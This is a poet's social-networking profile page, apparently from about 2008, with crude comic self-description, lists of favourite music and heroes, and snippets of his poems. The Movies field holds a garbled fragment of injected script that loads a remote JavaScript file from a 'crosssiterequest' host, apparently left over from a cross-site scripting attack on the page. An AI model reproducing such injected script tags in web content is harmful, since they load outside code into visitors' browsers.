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Stephen Murray

Here is a man who was raised by mackerel

About Me

Hello and greetings to you and you and yours and yours. I am a poet and occasional performer. Here's the boring stuff. I have performed as guest poet at the Green Mill, Chicago; The Bowery, New York; The Sweetest Word, Detroit; Laushaus, Bamberg, Landsberg and Regensberg (all German cities just like Luxemburg); Minoriten Kultur, Graz, Austria; Cafe Huber, Vienna; The Bardroom, Budapest; The Bedroom (at my place); The White House, Limerick; Provocateur, Prague; The Prague Fringe Festival; Electric Picnic, Lois, Eire; The Twelve Bar Club, London; Kabaret, London. I have also appeared on US radio on 'The Lit Show'and on Ireland's Live TV. I was Cuirt International Lit Fest Poetry Grand Slam Champion 2005 and the Electric Picnic Slam Champion 2007. Here's the good stuff. I am also a great dancer, and can be found in the funkiest clubs in the world bustin my moves in funk heaven. My secret? I dance with my own shadow and my shadow is a brilliant dancer. Of course he is he's black, hence my dazzling moves. Oftentimes not withstanding any said or unsaid altercations the natures of which may or may not be savoury or otherwise I say lots and nothing at the same time. Please note. I am a powerful yet tender lover, commanding yet compromising. I am aslo quite tough, strong and err... brave yes that's right, down right valiant, cavalier even. Oh and charming, somtimes funny, always modest, extremely cheeky. Thunder is mine though I am self deprecating on stage and self defecating in bed, but don't let that put you off. I have problems with foot fungus and an alergy to soaps. My greatest talent is flatulence, although sometimes I do put one past my own keeper if you get my drift and when I was at school I could piss higher up the wall than any of the boys. Fact. Oh yeah and you know that thing? The one where guys get up drunk in their sleep and piss in the wardrobe? I am the king at that. Oh yeah and if any one knows of any anti sceptic cock deoderant with aloa vera please let me know cos the situation is getting way out of hand. I am lover of women, farming and tits. Personally I prefer them not too big cos they're easier to drive when their smaller. I'm not into bum sex cos that's where poo goes and not the pink champion (funny, as I wrote that I sang it to myself). One day I will rule the world in tyranny and pink pyjamas. Until then ha ha ha... now my pretty pretties if you'll allow me I shall take you by the hair and drag you back my cave. (cue: BOOMING LAUGHTER)

My Interests

drinking with smelly old men in downbeat pubs; skinny dippin in Tra Mor, Galway, on stormy summer nights while drunk; writing poetry on magic mushrooms; kissing pretty girls; streaking; Munster Rugby; killing wasps on a fine summers day; scaring little children

I'd like to meet:

The man or woman who invented whistling, one of history's forgotten genius'. The person who invented handstands, because they were one of history's greatest lateral thinkers. The first dog that ever gave it's paw to a human, if only pigs had thought of that we'd all have swine in the house and be eating doggie rashers. The Dalai Lama because he has got some serious PR team behind him. The first parrot to ever talk and the midget that will one day rule the world in tyranny.

Music:

Sparklehorse, Strauss, Leonard Coen, Mozart, Gorillaz, Beethoven, James Brown, Debussy, Amy Winehouse, Bach, Billy Holiday, Miles Davis, John Coltrane, George CLinton, Jurassic 5, Blackalicious, Terry Callier, Joyce, Sigur Ros, Tiger Lilies, Cuckoo Savante, Medeline Peyreux, Flaming Lips, The Bad Plus, Ian Dury and the Blockheads

Movies:

Police Acadamey 2, Citizens on Patrol, a towering performance from Steve Guttenberg.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

Sexcettera on playboy 1, is my girlfriend

Books:

Thesaurus

Heroes:

Yoda, Neil Mccarthy, Han Solo, Dylan Thomas, Tom Crean, Shakespeare, Bob Dylan, Leonard Coen, Buddha, Jesus, He-Man, Skeletor, Luke Skywalker, Guinness, Patrick Sarsfeild, Bob Marley, Gandhi, Hugh Hefner, Yasser Arafat, Fidel Castro, Eric Cantona, Baudilaire, Ian Dury, Daithi Magner, Brian Phelan ..

My Blog

Then...

Words, winged on a burning soultore from howling crimson gates.That this was it.Sinners cartwheeledwearing wedding white.Red sands disappeared.And there stood God whimperingwith his cock out.Time shat...
Posted by Stephen Murray on Fri, 09 May 2008 05:55:00 PST

My favourite racist

He doesn't trust the blacks mimics Nigerian accents in Jamaican. In the kitchen where he works as a porter he devotes his time to Mbeki from Ghana hurls un-caged smiles at him with gentle surprise...
Posted by Stephen Murray on Fri, 09 May 2008 04:23:00 PST

Naked in Vienna

I could have had it been appropriateskinned the day that came beforethe day that came before the day we fell intothat place where the peach sunset meltedlike a golden tear welling upin the black eyeli...
Posted by Stephen Murray on Sat, 12 Apr 2008 08:35:00 PST

Notes from a breakdown Part 1: Chronic Anxiety Jazz Solo

  Chronic Anxiety Jazz SoloSo I stabbed myselfin the heart one springwith the shard of a brokenmirror, when time was a tear that dripped slowly from black-skinned victim of things that had not ye...
Posted by Stephen Murray on Mon, 07 Apr 2008 10:23:00 PST

Ice Wind Dale

Ice wind dale (don't look back) At the sides of the road where the rime white trees in the ice wind dale shrink into a memory on a rook-black night with the sound sucked out and the last fire doused...
Posted by Stephen Murray on Sun, 02 Mar 2008 03:25:00 PST

The Belly of Chaos

We could, you and I, be those sincerely felt razorblades of self given gladly tothe moment, music whispered by starsas the ocean holds it's breath for theebbing tide, hiccups hold the lung to ran...
Posted by Stephen Murray on Mon, 04 Feb 2008 07:38:00 PST

Galway Last Night

2.45am Sunday, Dominic StThey are pouring out from alternative, indie, boiler rooms, abdomens bared, pukinginto gutters; they are roaring for sound tofill the silence of unfulfilled testicles. They ar...
Posted by Stephen Murray on Sun, 24 Jun 2007 06:15:00 PST

The Odd Girl

No one fed her spring scented pastriescupped in cream and strawberry jamwas the last thing that she would ever dream of when picking the raw sinew from between her teethwith a splintered bone fragment...
Posted by Stephen Murray on Mon, 07 May 2007 09:56:00 PST